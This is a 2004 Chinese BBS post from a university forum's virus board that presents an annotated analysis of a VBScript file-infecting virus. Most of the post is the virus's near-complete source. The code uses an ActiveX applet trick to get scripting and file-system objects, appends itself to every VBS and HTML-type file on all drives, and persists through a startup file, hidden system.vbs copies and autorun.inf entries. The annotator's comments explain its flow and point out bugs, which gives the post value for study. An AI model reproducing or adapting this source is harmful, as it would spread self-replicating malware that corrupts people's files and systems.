Virus 版 (精华区)

发信人: Kernel (Kermit), 信区: Virus
标  题: 一个VBS病毒分析(zz)
发信站: 哈工大紫丁香 (Sun Mar 14 19:59:41 2004), 站内信件


//Http://nboy.cnwlt.com
//作者 :牛博威
//Email: advice107@sina.com
//本病毒流程十分简单,也十分精炼,当然强度也不高了.
//感染文件类型:
//VBS,HTML,HTM,HTA,HTT,不感染长度为零文件
//获得控制权(也就是开机自启动): 
//1、病毒在开始菜单启动项中建立internet.exe.VBS,并把自身写入其中.
//2、病毒在系统目录中建立system.vbs(内含病毒体),通过WSCRIPT.EXE来执行。并且
建立autorun.inf文件来设置开机自启。
// 但是由于病毒代码些的有问题,这项功能基本未达到.
//3、把被染毒文件folder.htt拷贝到每个分区的根目录,这样一打开该分区,就执行病毒

//感染:
//利用递归方法,读取硬盘上所有文件,如果符合感染标准,就把自身添加到文件末尾

//我水平有限,注释如有问题请原谅,欢迎和我联系。我的注释采用//,是为了防治此代
码被误运行。
<script language=vbscript>document.write "<div style='position:absolute; left:
0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLE
T NAME=zxqqrh"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XCompo
nent></APPLET></div>"</script><SCRIPT language="VBScript">


On error resume next 
Randomize 
ErrTest = WScript.ScriptFullname //取自身路径和名称
If Err Then 
//找不到自身名称,发生错误。同时也说明此病毒刚进入本机器
EF="htm" 
Else 
EF="vbs" 
set ZEhshll=WScript.CreateObject("WSCript.shell") 
if ucase(right(WScript.ScriptFullname,10))="SYSTEM.VBS" THEN 
//病毒体SYSTEM.VBS在系统加载的时候启动,同时也把IEXPLORE.EXE打开(要不用户岂不
进不了系统:))
ZEhshll.run "IEXPLORE.EXE " &mid(WScript.ScriptFullname,1,3) 
end IF 
end If 

if EF="htm" then //对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使
用FSO、WSH两个对象
Set PW = document.applets("zxqqrh_guest")
PW.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") 
PW.createInstance() 
Set MOMUNT = PW.GetObject() //创建WSH对象
PW.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}") 
PW.createInstance() 
Set GRBRRIR = PW.GetObject() //创建fso对象

for each ZE in document.scripts 
if lcase(ZE.language)="vbscript" then
UQOYMSZEHA=ZE.text 
end if 
next 
else 
Set GRBRRIR = CreateObject("Scripting.FileSystemObject") 
Set TV = GRBRRIR.OpenTextFile(WScript.ScriptFullname, 1) 
UQOYMSZEHA = TV.ReadAll //读取病毒自身代码,并赋给UQOYMSZEHA变量
end if 

ZW="<SCRIPT language="&chr(34)&"VBScript"&chr(34)&">"&vbcrlf&UQOYMSZEHA&"<"&ch
r(47)&"script>" 
XMZPCTBGP ="<" & "script language=vbscript>" & vbCrLf & "document.write " & ""
"" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height
:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=zxqqrh""&""_
guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" 
& "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>"&vbcrlf&ZW 
WinPath = GRBRRIR.GetSpecialFolder(0) & "\" //获取系统路径
MOMUNT.RegWrite "HKEY_CLASSES_ROOT\.vbs\", "vbsfile" //修改注册表 
If not(GRBRRIR.FileExists(WinPath &"Start Menu\Programs\启动\internet.exe.VBS"
)) Then 
//在启动菜单中添加internet.exe.VBS,这个文件的内容就是病毒自身
set systembak = GRBRRIR.CreateTextFile(WinPath &"Start Menu\Programs\启动\inte
rnet.exe.VBS", true) 
systembak.write UQOYMSZEHA //把病毒自身写入文件
systembak.CLOS 
END IF 
Set dc = GRBRRIR.Drives 
For each va in dc //处理磁盘上的所有文件,包括软盘
var =va&"\" //获取硬盘分区根目录路径
zd(var) 
Set f = GRBRRIR.GetFolder(var) 
listfl(f) 
For Each fz in f.SubFolders 
listf(fz) 
listfl(fz) 
Next 
next 

sub listf(fs) 
IF EF="htm" THEN //如果未曾初始化成功,便退出 
EXIT SUB 
END IF 
for each filed in fs.subfolders //递归处理下一级文件
listf(filed) 
listfl(filed) 
next 
end sub 

sub listfl(f2) 
for each ww in f2.files 
exte=ucase(GRBRRIR.GetExtensionName (ww)) 
IF exte="VBS" or exte="HTML" OR EXTE="HTM" OR EXTE="HTA" or exte="HTT" THEN 

//如果文件名符合标准,便开始感染该文件
cheack(ww) 
end if 
next 
end sub 

sub cheack(ww) 
Const ForReading = 1, ForWriting = 2, ForAppending = 8 
set f1=GRBRRIR.opentextfile(ww,forreading) 
hk=f1.readall 
if Instr(hk,"'zxqqrh") <> 0 Or Len(hk) < 1 Then //'zxqqrh为病毒的感染标志.如果
文件长度为0也不感染
f1.close 
exit sub 
else 
Set ddf = GRBRRIR.GetFile(ww) //获取文件句炳
ld= ddf.attributes //保存文件属性
ddf.attributes=0 //修改文件属性,以便感染之
Set OBSXWV = GRBRRIR.OpenTextFile(ww, forappending, True) 
IF ucase(GRBRRIR.GetExtensionName (ww))<>"VBS" THEN 
OBSXWV.write vbcrlf&XMZPCTBGP //感染非vbs文件 
else 
OBSXWV.write vbcrlf&UQOYMSZEHA //把病毒写入VBS文件 
end if 
OBSXWV.close 
ddf.attributes=ld //恢复文件属性
end if 
end sub 

sub zd(var) 
Err.clear 
ui=var+"autorun.inf" 
If not (GRBRRIR.FileExists(WinPath&"web\folder.htt")) or not (GRBRRIR.FileExis
ts(ui)) then
//判断每个硬盘分区的根目录是否有autorun.inf,系统目录下面是不是有web\folder.htt

//如果存在的话,就把web\folder.htt和desktop.ini拷贝到每个分区根目录
//但是这个判断条件写的有问题,应该把not去掉才显得合理
GRBRRIR.copyfile WinPath&"web\folder.htt", var
GRBRRIR.copyfile WinPath&"desktop.ini", var 
If Err Then 
bat=var+GRBRRIR.getfilename(iv1) //这句话是不是多余?
set a = GRBRRIR.CreateTextFile(ui, true) //在每个分区建立autorun.inf文件
set b = GRBRRIR.CreateTextFile(var&"system.vbs", true) //在系统路径建立system.
vbs
a.WriteLine("[autorun]") //设置开机自启动
a.writeline("open=WSCRIPT.EXE"&" system.vbs") //这就保证了每次开机的时候自动运
行system.vbs,也就是病毒本身
b.writeline UQOYMSZEHA //把病毒体写入system.vbs
b.close() 
a.Close() 
set TK=GRBRRIR.getfile(ui) //修改属性,我的VBS学得不好,不晓得这位老兄为何不在上
面把属性改掉
set PF=GRBRRIR.getfile(var&"system.vbs") 
TK.attributes = TK.attributes + 2 
PF.attributes = PF.attributes + 2 
end if 
end if 
end sub</script>

我的水平很菜,请大家见谅!
--

※ 来源:.哈工大紫丁香 bbs.hit.edu.cn [FROM: 219.82.103.154]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:2.596毫秒